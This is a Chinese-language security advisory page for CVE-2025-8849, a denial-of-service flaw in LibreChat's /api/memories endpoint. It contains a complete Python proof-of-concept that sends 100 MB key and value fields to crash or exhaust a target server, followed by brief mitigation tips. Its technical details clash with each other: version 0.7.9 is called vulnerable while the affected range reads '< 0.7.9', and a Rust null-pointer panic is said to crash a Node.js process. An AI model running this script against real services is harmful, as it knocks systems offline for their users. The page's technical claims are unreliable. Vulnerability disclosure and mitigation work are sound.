IPBUF安全漏洞报告
English
CVE-2025-8849 CVSS 7.5 高危

CVE-2025-8849: LibreChat 0.7.9版本/api/memories端点拒绝服务漏洞

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-8849
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

拒绝服务DoSLibreChatAPI安全输入验证RustCVE-2025-8849内存耗尽空指针

漏洞概述

LibreChat是一款开源的AI聊天应用,支持多种AI模型的集成。2025年10月,安全研究人员发现LibreChat 0.7.9版本中存在一个严重的拒绝服务漏洞。该漏洞位于/api/memories API端点,攻击者可以通过向该端点提交包含超大参数值的请求来触发服务中断。具体而言,端点中的`key`和`value`参数接受任意大小的输入而缺乏适当的验证机制。当提交超大的参数值时,底层Rust后端会触发空指针错误,导致内存管理异常。这使得系统无法创建新的记忆数据,严重影响服务的稳定性和可用性。由于该漏洞无需认证即可利用,远程攻击者可以通过互联网直接发起攻击,对使用LibreChat的组织造成严重影响。漏洞已被标记为高危,CVSS评分达到7.5分。

技术细节

该漏洞源于LibreChat 0.7.9版本中/api/memories端点对用户输入参数缺乏边界检查。攻击者可以构造恶意请求,在`key`或`value`参数中填充超大字符串或二进制数据。漏洞利用过程如下:首先,攻击者向POST /api/memories端点发送包含超大参数值的HTTP请求。由于后端Rust代码在处理这些超长字符串时未进行内存分配限制检查,导致内存分配失败并触发空指针解引用。当Rust运行时遇到空指针错误时,会抛出panic并可能导致整个Node.js服务进程崩溃。即使服务未完全崩溃,超大内存分配也会导致系统资源耗尽,使得正常的记忆创建功能完全失效。攻击者可以反复发送此类请求,实现持续性的拒绝服务效果。漏洞影响所有未修复的LibreChat实例。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别目标LibreChat实例,访问/api/memories端点
STEP 2
2
准备阶段:构造包含超大参数值(100MB+)的恶意JSON请求
STEP 3
3
利用阶段:通过HTTP POST请求向/api/memories端点发送超大key和value参数
STEP 4
4
触发阶段:Rust后端在处理超大字符串时发生内存分配失败,触发空指针错误
STEP 5
5
影响阶段:服务端进程崩溃或资源耗尽,导致无法创建新记忆,服务可用性受损

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys import time # CVE-2025-8849 PoC - LibreChat DoS via unbounded parameter values # Target: /api/memories endpoint def exploit_cve_2025_8849(target_url): """ Exploit for CVE-2025-8849: LibreChat DoS via oversized parameters This PoC demonstrates sending oversized key/value parameters to the /api/memories endpoint to trigger a null pointer error. """ # Generate oversized parameter values (100MB+) oversized_key = "A" * (100 * 1024 * 1024) # 100MB key oversized_value = "B" * (100 * 1024 * 1024) # 100MB value endpoint = f"{target_url.rstrip('/')}/api/memories" headers = { "Content-Type": "application/json" } payload = { "key": oversized_key, "value": oversized_value } print(f"[*] Targeting: {endpoint}") print(f"[*] Sending oversized parameters (100MB+ each)...") try: response = requests.post(endpoint, json=payload, headers=headers, timeout=60) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code >= 500: print("[+] DoS condition likely triggered!") return True else: print("[-] Request completed but DoS not confirmed") return False except requests.exceptions.RequestException as e: print(f"[+] Request failed (possibly due to DoS): {e}") return True def verify_vulnerability(target_url): """ Verify the vulnerability exists by checking version and endpoint availability """ endpoint = f"{target_url.rstrip('/')}/api/memories" # Test with moderately large values first test_payload = { "key": "X" * (10 * 1024 * 1024), # 10MB "value": "Y" * (10 * 1024 * 1024) # 10MB } print(f"[*] Verifying vulnerability at {endpoint}") print(f"[*] Testing with 10MB parameters...") try: response = requests.post(endpoint, json=test_payload, timeout=30) print(f"[*] Status: {response.status_code}") # Check if the endpoint accepts the request if response.status_code in [200, 201, 400, 413, 500]: print("[+] Endpoint is reachable and accepts large parameters") print("[+] Vulnerability likely present") return True except Exception as e: print(f"[+] Error occurred: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_8849_poc.py <target_url>") print("Example: python cve_2025_8849_poc.py http://localhost:3080") sys.exit(1) target = sys.argv[1] print("=" * 60) print("CVE-2025-8849 PoC - LibreChat /api/memories DoS") print("=" * 60) if verify_vulnerability(target): print("\n[*] Attempting full exploit...") exploit_cve_2025_8849(target) else: print("[-] Vulnerability verification failed")

影响范围

LibreChat < 0.7.9

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1) 在反向代理(如Nginx)中配置请求体大小限制;2) 在/api/memories端点前部署Web应用防火墙(WAF);3) 限制该API端点的访问频率;4) 实施IP黑名单机制阻止可疑来源;5) 考虑暂时禁用记忆功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表